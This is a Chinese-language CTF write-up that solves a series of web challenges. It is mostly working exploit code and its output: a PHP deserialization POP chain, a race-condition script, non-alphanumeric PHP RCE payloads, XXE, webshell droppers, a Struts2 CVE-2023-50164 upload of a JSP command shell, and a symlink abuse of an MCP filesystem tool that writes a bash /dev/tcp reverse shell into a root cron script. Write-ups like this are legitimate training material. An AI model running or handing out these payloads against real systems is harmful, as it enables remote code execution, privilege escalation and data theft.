        }
    }
}
  
class Moon{
    public $nearside;
    public $farside;
    public function __tostring(){
        $starship = $this->nearside;
        $starship();
        return '';
    }
}
  
class Earth{
    public $onearth;
    public $inearth;
    public $outofearth;
    public function __invoke(){
        $oe = $this->onearth;
        $ie = $this->inearth;
        $ote = $this->outofearth;
        $oe->$ie = $ote;
    }
}
  
   
if(isset($_POST['travel'])){
    $a = unserialize($_POST['travel']);
    throw new Exception("How to Travel?");
}

梭一把:

  1. 起点Sun 类在销毁时触发 __destruct

    1. $sun = new Sun();

    2. $sun->sun = $moon; (触发 Moon::__toString)

  2. 跳板 1Moon 类转换为字符串。

    1. $moon = new Moon();

    2. $moon->nearside = $earth; (触发 Earth::__invoke)

  3. 跳板 2Earth 类被当作函数调用。

    1. $earth = new Earth();

    2. $earth->onearth = $solar1; (目标对象)

    3. $earth->inearth = "AnyProp"; (不存在的属性名,用于触发 __set)

    4. $earth->outofearth = "/flag"; (我们要读取的文件名,将作为值传递给 __set)

  4. 跳板 3Solar 类处理属性赋值触发 __set

    1. $solar1 = new Solar();

    2. $solar1->Mercury = $solar2; (下一个 Solar 对象,用于触发 __call)

    3. $solar1->Venus = "SplFileObject"; (方法名)

    4. 逻辑解释:Solar::__set 执行 $this->Mercury->{$this->Venus}($key)。即 $solar2->SplFileObject("/flag")

    5. 由于 Solar 类没有 SplFileObject 方法,触发 solar2 的 __call

  5. 终点Solar::__call 实例化类并利用。

    1. $solar2 = new Solar();

    2. $func 接收到的方法名是 SplFileObject

    3. $args[0] 接收到的参数是 /flag

    4. 实例化:$exploar = new SplFileObject("/flag"); (绕过了黑名单,完全合法)

    5. 调用方法:$road = $this->Jupiter;

    6. $solar2->Jupiter = "fpassthru"; (利用 SplFileObject::fpassthru 输出文件内容)

    7. $solar2->Saturn = null; (参数)

    8. 最终执行:$exploar->fpassthru(null);,将 /flag 内容输出到缓冲区。

<?php
// gen_payload.php

class Sun{
    public $sun;
}

class Solar{
    private $Sun;
    public $Mercury;
    public $Venus;
    public $Earth;
    public $Mars;
    public $Jupiter;
    public $Saturn;
    public $Uranus;
    public $Neptune;
}

class Moon{
    public $nearside;
}

class Earth{
    public $onearth;
    public $inearth;
    public $outofearth;
}

// 目标文件
$filename = "/flag";

// 实例化对象
$sun = new Sun();
$moon = new Moon();
$earth = new Earth();
$solar1 = new Solar();
$solar2 = new Solar();

// 连接链条
$sun->sun = $moon;
$moon->nearside = $earth;

$earth->onearth = $solar1;      
$earth->inearth = "AnyProp";    // 触发 __set
$earth->outofearth = $filename; // 传递给 __set 的值 ($key)

// 配置 Solar1 (__set)
$solar1->Mercury = $solar2;     // $Dyson
$solar1->Venus = "SplFileObject"; // $Sphere (方法名)

// 配置 Solar2 (__call)
// 此时 $func = "SplFileObject", $args[0] = "/flag"
// 执行 new SplFileObject("/flag")
$solar2->Jupiter = "fpassthru"; // $road (要调用的方法)
$solar2->Saturn = null;         // fpassthru 的参数

// 序列化
$s = serialize($sun);

// Fast Destruct 处理:构造异常的序列化字符串
// 放入数组并去掉末尾大括号
$payload = 'a:2:{i:0;' . $s . ';i:1;i:0}'; 
$payload = substr($payload, 0, -1); 

echo urlencode($payload);
?>

hackbar坏掉了😫,用python发包了

import requests
import urllib.parse
  
url = "http://challenge.shc.tf:30938/index.php"
  
payload_encoded = "O%3A3%3A%22Sun%22%3A1%3A%7Bs%3A3%3A%22sun%22%3BO%3A4%3A%22Moon%22%3A1%3A%7Bs%3A8%3A%22nearside%22%3BO%3A5%3A%22Earth%22%3A3%3A%7Bs%3A7%3A%22onearth%22%3BO%3A5%3A%22Solar%22%3A9%3A%7Bs%3A10%3A%22%00Solar%00Sun%22%3BN%3Bs%3A7%3A%22Mercury%22%3BO%3A5%3A%22Solar%22%3A9%3A%7Bs%3A10%3A%22%00Solar%00Sun%22%3BN%3Bs%3A7%3A%22Mercury%22%3BN%3Bs%3A5%3A%22Venus%22%3BN%3Bs%3A5%3A%22Earth%22%3BN%3Bs%3A4%3A%22Mars%22%3BN%3Bs%3A7%3A%22Jupiter%22%3Bs%3A9%3A%22fpassthru%22%3Bs%3A6%3A%22Saturn%22%3BN%3Bs%3A6%3A%22Uranus%22%3BN%3Bs%3A7%3A%22Neptune%22%3BN%3B%7Ds%3A5%3A%22Venus%22%3Bs%3A13%3A%22SplFileObject%22%3Bs%3A5%3A%22Earth%22%3BN%3Bs%3A4%3A%22Mars%22%3BN%3Bs%3A7%3A%22Jupiter%22%3BN%3Bs%3A6%3A%22Saturn%22%3BN%3Bs%3A6%3A%22Uranus%22%3BN%3Bs%3A7%3A%22Neptune%22%3BN%3B%7Ds%3A7%3A%22inearth%22%3Bs%3A7%3A%22AnyProp%22%3Bs%3A10%3A%22outofearth%22%3Bs%3A5%3A%22%2Fflag%22%3B%7D%7D%7D"

payload = urllib.parse.unquote(payload_encoded)
  
print(f"Sending payload to {url}...")

try:
    response = requests.post(url, data={'travel': payload})
  
    print("Status Code:", response.status_code)
    print("Response Tail:")
    print(response.text[-500:])
    if "flag{" in response.text:
        print("FOUND FLAG!")
        print(response.text[response.text.find("flag{"):response.text.find("flag{")+50])
    if "PD9waH" in response.text: 
        print("Found base64 PHP content!")
  
except Exception as e:
    print(e)

[阶段1] ez_race

给了源码,翻一翻发现app\bank\views.py有个sleep函数,以及获取flag的条件

    def form_valid(self, form):
        amount = form.cleaned_data["amount"]
        with transaction.atomic():
            time.sleep(1.0)
            user = models.User.objects.get(pk=self.request.user.pk)
            if user.money >= amount:
                user.money = F('money') - amount
                user.save()
                models.WithdrawLog.objects.create(user=user, amount=amount)
        user.refresh_from_db()
        if user.money < 0:
            return HttpResponse(os.environ.get("FLAG", "flag{flag_test}"))

在这个sleep的影响下,只要我们在sleep的时间内执行多次提现请求,就有可能有多条同时执行到if user.money >= amount

让ai写个条竞的exp:

import requests  
import threading  
import sys  
import time  
  
BASE_URL = "http://challenge.shc.tf:32466"  
USERNAME = "player@example.com"  
PASSWORD = "player"  
THREAD_COUNT = 5  
  
barrier = threading.Barrier(THREAD_COUNT)  
  
def log(msg):  
    print(msg)  
    sys.stdout.flush()  
  
def attack():  
    s = requests.Session()  
  
    # 1. 登录  
    log("[*] Logging in...")  
    try:  
        s.get(f"{BASE_URL}/accounts/login/", timeout=5)  
        csrftoken = s.cookies.get('csrftoken')  
        login_data = {  
            'username': USERNAME,  
            'password': PASSWORD,  
            'csrfmiddlewaretoken': csrftoken  
        }  
        r = s.post(f"{BASE_URL}/accounts/login/", data=login_data, headers={"Referer": f"{BASE_URL}/accounts/login/"})  
        if 'sessionid' not in s.cookies:  
            log("[-] Failed to login (no sessionid)")  
            return  
        log("[+] Login success")  
    except Exception as e:  
        log(f"[-] Login Error: {e}")  
        return  
  
    # 2. 重置账户  
    log("[*] Resetting account...")  
    s.get(f"{BASE_URL}/reset")  
  
    # 3. 充值 10 元  
    log("[*] Recharging (10 RMB)...")  
    csrftoken = s.cookies.get('csrftoken')  
    s.post(f"{BASE_URL}/recharge", data={'amount': 10, 'csrfmiddlewaretoken': csrftoken},  
           headers={"Referer": f"{BASE_URL}/recharge"})  
  
    # 4. 检查初始余额  
    try:  
        r = s.get(f"{BASE_URL}/status")  
        log(f"[*] Balance BEFORE: {r.text}")  
    except Exception as e:  
        log(f"[-] Failed to get status: {e}")  
  
    # 5. 准备并发  
    log(f"[*] Starting SYNCHRONIZED Race with {THREAD_COUNT} threads...")  
    withdraw_url = f"{BASE_URL}/withdraw"  
    token = s.cookies.get('csrftoken')  
  
    def worker(i):  
        try:  
            # 等待所有线程就位  
            barrier.wait()  
  
            # 瞬间发送请求  
            res = s.post(withdraw_url,  
                         data={'amount': 10, 'csrfmiddlewaretoken': token},  
                         headers={"Referer": withdraw_url},  
                         timeout=15)  
  
            # 检查结果  
            if "flag{" in res.text:  
                log(f"\n[★] FLAG FOUND in Thread {i}!!!\n[★] Content: {res.text}\n")  
            elif res.status_code != 200:  
                # 打印非200状态码,看看是不是服务器崩了  
                # log(f"[!] Thread {i} status: {res.status_code}")  
                pass  
        except Exception as e:  
            # log(f"[E] Thread {i}: {e}")  
            pass  
  
    threads = []  
    for i in range(THREAD_COUNT):  
        t = threading.Thread(target=worker, args=(i,))  
        threads.append(t)  
        t.start()  
  
    for t in threads:  
        t.join()  
  
    log("[*] Race finished. Checking final state...")  
  
    # 6. 最终检查 (不再静默失败)  
    try:  
        # 检查余额  
        r = s.get(f"{BASE_URL}/status", timeout=5)  
        log(f"[*] Balance AFTER: {r.text}")  
  
        # 尝试直接获取Flag  
        r = s.get(f"{BASE_URL}/flag", timeout=5)  
        if "flag{" in r.text:  
            log(f"\n[★] FLAG FOUND via /flag endpoint: {r.text}")  
        else:  
            log(f"[-] /flag endpoint response: {r.text}")  
  
    except Exception as e:  
        log(f"[-] Final check failed: {e}")  
  
  
if __name__ == "__main__":  
    attack()
    
# [*] Logging in...
# [+] Login success
# [*] Resetting account...
# [*] Recharging (10 RMB)...
# [*] Balance BEFORE: 10
# [*] Starting SYNCHRONIZED Race with 5 threads...
# [*] Race finished. Checking final state...
# [*] Balance AFTER: -30
# [-] /flag endpoint response: SHCTF{c0ndITl0n_r4c3_l$_danGER0u$_PHOr_dJAN9o}

[阶段1] kill_king

一个网页小游戏,先审js,发现logic.js中有拿flag的逻辑:

//提交请求到 check.php,并显示 flag
fetch('check.php', {
  method: 'POST',
  headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
  body: 'result=win'
})
.then(response => response.text())
.then(flag => {
  document.getElementById('flagBox').innerText = flag;
})
.catch(err => console.error('获取 flag 出错:', err));

POST 请求 result=win,返回了个源码:

<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_POST['result']) && $_POST['result'] === 'win') {
        highlight_file(__FILE__);
        
        if(isset($_GET['who']) && isset($_GET['are']) && isset($_GET['you'])){
            $who = (String)$_GET['who'];
            $are = (String)$_GET['are'];
            $you = (String)$_GET['you'];
        
            if(is_numeric($who) && is_numeric($are)){
                if(preg_match('/^\W+$/', $you)){
                    $code =  eval("return $who$you$are;");
                    echo "$who$you$are = ".$code;
                }
            }
        }
    }
}

这是个无字母数字RCE,这种题一般想法还是利用取反(~)运算,生成取反内容:

<?php
$a = "system";
$str1 = "";
for($i=0; $i<strlen($a); $i++){
    $str1 .= "%".bin2hex(~$a[$i]);
}
echo "system: (~$str1)\n"; //  (~%8c%86%8c%8b%9a%92)

$b = "cat /flag";
$str2 = "";
for($i=0; $i<strlen($b); $i++){
    $str2 .= "%".bin2hex(~$b[$i]);
}
echo "cat /flag: (~$str2)\n"; //  (~%9c%9e%8b%df%d0%99%93%9e%98)
?>

由于 eval 执行的是 return $who$you$are;,我们希望执行的是$you的内容,$who$you的内容是数字,所以我们还需要闭合前后的数字

>为了防止 PHP 语法解析错误(将 x. xxxx解析为浮点数),需要在点号前后添加空格。

Payload:

/check.php?who=1&are=1&you=+%2E+(~%22%8C%86%8C%8B%9A%92%22)(~%22%9C%9E%8B%DF%D0%99%93%9E%98%22)+%2E+

POST:result=win

[阶段2] Go

考的是waf和go之间的差异,构造payload的想法是能过waf但是又能被go识别

改掉 Key 的大小写,WAF 可能认不出来

>这里就是改role为Role,猜测后端waf检测的是role的值,不检测Role的值

{"username": "hacker", "Role": "admin"}

[阶段2] Mini Blog

/create是发布文章的接口,内容用的xml,尝试打xxe

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
    <!ENTITY xxe SYSTEM "file:///flag">
]>
<post>
    <title>&xxe;</title>
    <content>123</content>
</post>

[阶段3] sudoooo0

扫了几个字典 扫出来个webshell.php

无任何回显 还得fuzz参数

确定是cmd

考虑到这里get传参不太方便,写个马在上webshell工具

file_put_contents('1.php', '<?php @eval($_POST[\'a\']);?>');

/docker-entrypoint.sh发现了这题的解题方向

#!/bin/bash
set -e
echo 0 > /proc/sys/kernel/yama/ptrace_scope || true

if [ "$A1CTF_FLAG" ]; then
    INSERT_FLAG="$A1CTF_FLAG"
    unset A1CTF_FLAG
elif [ "$SHCTF_FLAG" ]; then
    INSERT_FLAG="$SHCTF_FLAG"
    unset SHCTF_FLAG
elif [ "$GZCTF_FLAG" ]; then
    INSERT_FLAG="$GZCTF_FLAG"
    unset GZCTF_FLAG
elif [ "$FLAG" ]; then
    INSERT_FLAG="$FLAG"
    unset FLAG
else
    INSERT_FLAG="SHCTF{!!!!_FLAG_ERROR_ASK_ADMIN_!!!!}"
fi

rm -f /flag
echo "$INSERT_FLAG" > /flag
chmod 400 /flag
chown root:root /flag

NEWPASS=$(head -c 24 /dev/urandom | tr -cd 'A-Za-z0-9' | head -c 16)
echo "ctf:${NEWPASS}" | chpasswd
su - ctf -c "nohup script -q -f -c 'bash -li -c \"echo ${NEWPASS} | sudo -S -v >/dev/null 2>&1; sleep infinity\"' /dev/null >/dev/null 2>&1 &" 
exec apache2-foreground

这个脚本生成了一个随机密码 NEWPASS 并赋予了 ctf 用户,它切换到 ctf 用户后,在后台运行了一个 bash 命令,同时NEWPASS被写在命令行里

看一眼进程:

(ctf:/var/www/html) $ ps -ef

UID          PID    PPID  C STIME TTY          TIME CMD
root           1       0  0 02:02 ?        00:00:00 apache2 -DFOREGROUND
ctf           25       1  0 02:02 ?        00:00:00 script -q -f -c bash -li -c "echo GcqbJrIa | sudo -S -v >/dev/null 2>&1; sleep infinity" /dev/null
ctf           26      25  0 02:02 pts/0    00:00:00 sleep infinity
ctf           56       1  0 02:03 ?        00:00:01 apache2 -DFOREGROUND
ctf           66       1  0 02:03 ?        00:00:00 apache2 -DFOREGROUND
ctf          106       1  0 02:13 ?        00:00:00 apache2 -DFOREGROUND
ctf          117       1  0 02:13 ?        00:00:00 apache2 -DFOREGROUND
ctf          120       1  0 02:13 ?        00:00:00 apache2 -DFOREGROUND
ctf          126       1  0 02:13 ?        00:00:00 apache2 -DFOREGROUND
ctf          128       1  0 02:19 ?        00:00:00 apache2 -DFOREGROUND
ctf          132       1  0 02:19 ?        00:00:00 apache2 -DFOREGROUND
ctf          134       1  0 02:19 ?        00:00:00 apache2 -DFOREGROUND
ctf          137       1  0 02:21 ?        00:00:00 apache2 -DFOREGROUND
ctf          149     126  0 02:31 ?        00:00:00 sh -c -- /bin/sh -c "cd "/var/www/html";ps -ef;echo bd550f77d303;pwd;echo b969f917bd3e" 2>&1
ctf          150     149  0 02:31 ?        00:00:00 /bin/sh -c cd /var/www/html;ps -ef;echo bd550f77d303;pwd;echo b969f917bd3e
ctf          151     150  0 02:31 ?        00:00:00 ps -ef

echo GcqbJrIa暴露了密码

直接sudo不可行,回显:sudo: sorry, you must have a tty to run sudo

利用script伪造终端用来执行sudo,尽管伪造了但是还是不能直接输入密码,所以利用echo+管道符把密码输入进去

script /dev/null -c bash
echo "GcqbJrIa" | sudo -S cat /flag

[sudo] password for ctf: SHCTF{$UdO_7#k3n_InjEC710n_PWnEd_2O2S}

[阶段3] BabyJavaUpload

上传文件的路由是upload.action,感觉是Struts2,结合hint的cve,这里打的就是S2系列漏洞

上漏扫测了下,没东西,考虑到我的漏扫工具只支持到S2-061,所以这里优先看比较新的洞,搜了一下CVE-2023-50164比较符合这里s2+upload的场景

前端还有两个提示:

<!-- flag在根目录 -->
/* Hint: The real vulnerability is not always in the code you see. Check the environment. */

先抓个上传包研究一下

POST /upload.action HTTP/1.1
Host: challenge.shc.tf:32388
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1cPLHTXS6tDgdRjd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
Cookie: JSESSIONID=27C7CDFB58EEB3A58B5AF35873B8D292
Cache-Control: max-age=0
Referer: http://challenge.shc.tf:32388/
Accept-Language: zh-CN,zh;q=0.9
Origin: http://challenge.shc.tf:32388
Accept-Encoding: gzip, deflate
Content-Length: 185

  
------WebKitFormBoundary1cPLHTXS6tDgdRjd
Content-Disposition: form-data; name="myfile"; filename="1.txt"
Content-Type: text/plain

  
molu
------WebKitFormBoundary1cPLHTXS6tDgdRjd--

顺着CVE-2023-50164的复现思路:

  1. 文件参数名用大写首字母 Myfile

  2. 额外传递 myfileFileName 参数,值为路径:../xxx.jsp

这里路径不明,要遍历路径,有点麻烦,让ai写个exp去重复发包帮忙遍历路径

import requests
import string
import random
from requests_toolbelt import MultipartEncoder

BASE = "http://challenge.shc.tf:32388"
URL = f"{BASE}/upload.action"

webshell_jsp = '''<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
    String[] cmds = {"/bin/sh", "-c", cmd};
    Process p = Runtime.getRuntime().exec(cmds);
    BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
    String line;
    while ((line = br.readLine()) != null) out.println(line);
    br = new BufferedReader(new InputStreamReader(p.getErrorStream()));
    while ((line = br.readLine()) != null) out.println(line);
}
%>'''

# CVE-2023-50164 核心: 首字母大写参数 + FileName 路径遍历
for depth in range(1, 10):
    traversal = "../" * depth + "shell.jsp"

    fields = {
        "Myfile": ("whatever.txt", webshell_jsp, "application/octet-stream"),
        "myfileFileName": traversal
    }

    boundary = '----WebKitFormBoundary' + ''.join(
        random.sample(string.ascii_letters + string.digits, 16)
    )
    m = MultipartEncoder(fields=fields, boundary=boundary)
    headers = {"Content-Type": m.content_type}

    r = requests.post(URL, headers=headers, data=m, timeout=5)
    print(f"depth={depth}: status={r.status_code}")

# 验证 webshell
r = requests.get(f"{BASE}/shell.jsp?cmd=id")
print(r.text)

跑完就能getshell了

depth=1: status=200
depth=2: status=200
depth=3: status=200
depth=4: status=200
depth=5: status=200
depth=6: status=200
depth=7: status=200
depth=8: status=200
depth=9: status=200

uid=0(root) gid=0(root) groups=0(root)

进程已结束,退出代码为 0
/shell.jsp?cmd=cat%20/f*
# SHCTF{58fa16cf-22c3-43d9-bb66-240460fc1fd7}

[阶段3] 你也懂java?

给了附件,一个jar包,先反编译

拿到了一个Note

public class Note implements Serializable {
    private static final long serialVersionUID = 1L;
    
    private String title;
    private String message;
    private String filePath;
  
    public Note(String title, String message, String filePath) {
        this.title = title;
        this.message = message;
        this.filePath = filePath;
    }

打开靶机直接就是处理逻辑:

public void handle(HttpExchange exchange) throws IOException {
    String method = exchange.getRequestMethod();
    String path = exchange.getRequestURI().getPath();

    if ("POST".equalsIgnoreCase(method) && "/upload".equals(path)) {
        try (ObjectInputStream ois = new ObjectInputStream(exchange.getRequestBody())) {
            Object obj = ois.readObject();
            if (obj instanceof Note) {
                Note note = (Note) obj;
                if (note.getFilePath() != null) {
                    echo(readFile(note.getFilePath()));
                }
            }
        } catch (Exception e) {}
    }
}

发现这里POST请求到/upload路由后直接进行了反序列化Object obj = ois.readObject();并且若

note.getFilePath不为空,就会返回这个路径的内容,那这就是一个任意文件读取的洞

准备环境:

exploit/Note.java(和反编译出来的一样)

import java.io.Serializable;

public class Note implements Serializable {
    private static final long serialVersionUID = 1L;
    private String title;
    private String message;
    private String filePath;

    public Note(String title, String message, String filePath) {
        this.title = title;
        this.message = message;
        this.filePath = filePath;
    }
    
    public String getFilePath() {
        return filePath;
    }
}

exploit/GeneratePayload.java(生成payload)

filePath 指向 /flag,将对象序列化写入 payload.bin

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;

public class GeneratePayload {
    public static void main(String[] args) {
        try {
            Note note = new Note("1", "1", "/flag");
            
            FileOutputStream fos = new FileOutputStream("payload.bin");
            ObjectOutputStream oos = new ObjectOutputStream(fos);
            oos.writeObject(note);
            oos.close();
            fos.close();
            
            System.out.println("[+] Payload generated: payload.bin");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

执行一下

cd exploit
javac Note.java GeneratePayload.java
java GeneratePayload

生成好payload.bin

import requests

target_url = "http://challenge.shc.tf:32204/upload"
payload_file = "payload.bin"

print(f"[*] Targeting: {target_url}")
print(f"[*] Reading payload from: {payload_file}")

try:
    with open(payload_file, 'rb') as f:
        payload_data = f.read()
        
    response = requests.post(target_url, data=payload_data)
    print("\n[+] Server Response:")
    print("-" * 50)
    print(response.text)
    print("-" * 50)
    
except Exception as e:
    print(f"[-] Error: {e}")

python发包

import requests
  
url = "http://challenge.shc.tf:31505/upload"
files = {'file': open('payload.bin', 'rb')}
  
with open('payload.bin', 'rb') as f:
    data = f.read()
    response = requests.post(url, data=data)
    print(response.text)

在回显中找到<div class="output">SHCTF{8e987201-3c56-4bb2-8b0c-fabde2887186}

Misc

[阶段2] ezAI

这里mcp-filesystem的版本是0.6.1 收集了一下存在漏洞:CVE-2025-53110,但这里并不是用这个cve直接拿root的文件。这里存在前缀匹配即可完成操作的问题,虽然我们可以访问的合规路径是/var/www/h,但是由于/var/www/html前面部分匹配,所以可以直接对/var/www/html利用mcp的write_file功能写webshell

https://nvd.nist.gov/vuln/detail/CVE-2025-53110

拿到webshell还访问不到/root,需要准备提权,信息收集发现suid和sudo应该是提不了了,查定时任务

(www-data:/var/www/html) $ ls -la /etc/cron.d/
total 12
drwxr-xr-x. 1 root root  37 Dec 17 17:18 .
drwxr-xr-x. 1 root root  19 Feb  4 11:05 ..
-rw-r--r--. 1 root root 102 Mar  2  2023 .placeholder
-rw-r--r--. 1 root root 201 Jun  6  2025 e2scrub_all
-rw-r--r--. 1 root root  77 Dec 17 17:19 php

(www-data:/var/www/html) $ cat /etc/cron.d/php
* * * * * root [ -x /usr/lib/php/sessionclean ] && /usr/lib/php/sessionclean

这里就挑这个php的任务了,应该就是个清session的脚本

弹个shell好干活

<?php
$ip = $_GET['ip'] ?? 'Your_vps_ip'; 
$port = $_GET['port'] ?? '4444';

echo "[+] Trying to connect to $ip:$port ...\n";
system("bash -c 'bash -i >& /dev/tcp/$ip/$port 0>&1'");
?>

但是www-data不能直接修改/usr/lib/php/sessionclean的内容,需要借助题目这个mcp工具,这里做个软链接,欺骗mcp修改/var/www/html/link_final_rce,但是实则是修改软链接的对象/usr/lib/php/sessionclean

把反弹shell的命令写进去,这个任务每60s以root的权限执行一次,就能拿到root的shell了

让ai写个脚本,然后执行:`php exp.php`

<?php
$MCP_HOST = '127.0.0.1';
$MCP_PORT = 1337;
$TARGET_FILE = "/usr/lib/php/sessionclean";

// 你的反弹 Shell Payload
$IP = "Your_vps_ip";
$PORT = "2333";
$PAYLOAD = "#!/bin/bash\n" .
           "bash -c 'bash -i >& /dev/tcp/$IP/$PORT 0>&1'\n";

// 辅助函数:调用 MCP
function mcp_call($method, $args) {
    global $MCP_HOST, $MCP_PORT;
    $sock = fsockopen($MCP_HOST, $MCP_PORT, $errno, $errstr, 2);
    if (!$sock) return null;
    
    $req = [
        "jsonrpc" => "2.0", "id" => rand(), 
        "method" => "tools/call", 
        "params" => ["name" => $method, "arguments" => $args]
    ];
    fwrite($sock, json_encode($req)."\n");
    
    $buf = "";
    while (!feof($sock)) {
        $buf .= fgets($sock, 4096);
        if (strpos($buf, '}}') !== false) break; // 简单判断结束
    }
    fclose($sock);
    return json_decode($buf, true);
}

echo "========== 🔨 强制覆盖系统 Cron 脚本 🔨 ==========\n";

// 1. 准备软链接
$link_name = "link_final_rce";
$link_path = "/var/www/html/" . $link_name;

if (file_exists($link_path)) unlink($link_path); // 先删除旧的
if (symlink($TARGET_FILE, $link_path)) {
    echo "[+] 软链接创建成功: $link_name -> $TARGET_FILE\n";
} else {
    die("[-] 软链接创建失败,权限不足?\n");
}

// 2. 发送写入指令 (Overwrite)
echo "[*] 正在发送反弹 Shell Payload...\n";
$res = mcp_call("write_file", [
    "path" => $link_path,
    "content" => $PAYLOAD
]);

if (isset($res['error'])) {
    echo "[-] 写入报错: " . json_encode($res['error']) . "\n";
} else {
    echo "[+] MCP 响应成功 (无报错)\n";
}

// 3. 立即验证写入结果 (读取出来看看)
echo "\n[*] 正在验证文件内容...\n";
// 为了读取,我们需要用 read_file 工具再读一次这个软链接
$read_res = mcp_call("read_file", ["path" => $link_path]);

if (isset($read_res['result']['content'][0]['text'])) {
    $current_content = $read_res['result']['content'][0]['text'];
    echo "--------------------------------------------------\n";
    echo $current_content;
    echo "--------------------------------------------------\n";
    
    if (strpos($current_content, $IP) !== false) {
        echo "✅ 验证通过!Payload 已更新为反弹 Shell!\n";
    } else {
        echo "❌ 验证失败!内容似乎没有改变。\n";
    }
} else {
    echo "[-] 无法读取验证 (可能 MCP 读取功能受限,但写入可能已成功)\n";
}

unlink($link_path);

echo "\n========== ⏳ 等待 Cron 执行 (Max 60s) ⏳ ==========\n";
?>

拿到root的shell

[root@iZ7xvh70dszbvy6xotgak9Z ~]# nc -lvnp 2333
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::2333
Ncat: Listening on 0.0.0.0:2333
Ncat: Connection from 111.34.66.50.
Ncat: Connection from 111.34.66.50:25249.
bash: cannot set terminal process group (318): Inappropriate ioctl for device
bash: no job control in this shell
root@cl-75-a6378141fc61c67c:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@cl-75-a6378141fc61c67c:~# ls /root
ls /root
The_7rue_53cre7_1s_H!dden_With!n_Th15_F!le
flag
flag.txt
root@cl-75-a6378141fc61c67c:~# nl /root/*
nl /root/*
     1  SHCTF{wOw_yOU_ARe_re@L1y_4N_aI_m45tER}
     2  This is a fake flag, please come back to /root after obtaining root shell to find my real secret.
     3  This is a fake flag, please come back to /root after obtaining root shell to find my real secret.

SHCTF{wOw_yOU_ARe_re@L1y_4N_aI_m45tER}

评论